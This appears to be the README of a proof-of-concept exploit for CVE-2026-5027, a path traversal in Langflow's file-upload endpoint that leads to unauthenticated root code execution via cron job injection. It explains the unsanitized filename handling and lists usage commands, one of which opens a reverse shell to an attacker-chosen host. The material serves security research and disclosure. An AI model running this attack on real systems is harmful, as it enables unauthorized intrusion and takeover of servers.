yahiahamza/cve-2026-5027Proof-of-concept exploit for CVE-2026-5027, a path traversal vulnerability in Langflow leading to unauthenticated remote code execution via cron job injection.
Langflow versions up to and including 1.8.4 do not sanitize the filename parameter in the POST /api/v2/files endpoint. An attacker can use path traversal sequences (../) to write files to arbitrary locations on the filesystem. When combined with Langflow's default auto-login configuration, this is exploitable without any authentication, leading to Remote Code Execution as root via cron job injection.
# Proof of concept (writes test file to /tmp/)
python3 exploit.py -t http://target:7860
# With credentials (if auto-login is disabled)
python3 exploit.py -t http://target:7860 -u admin -p password
# Reverse shell via cron job
python3 exploit.py -t http://target:7860 --lhost YOUR_IP --lport 4444
The upload_user_file() function in src/backend/base/langflow/api/v2/files.py passes file.filename directly to the storage service without sanitization. The LocalStorageService.save_file() constructs the path using folder_path / file_name, which does not prevent directory traversal.
This tool is provided for authorized security testing and educational purposes only. Only use on systems you own or have explicit permission to test.
Yahia Hamza - https://yh.do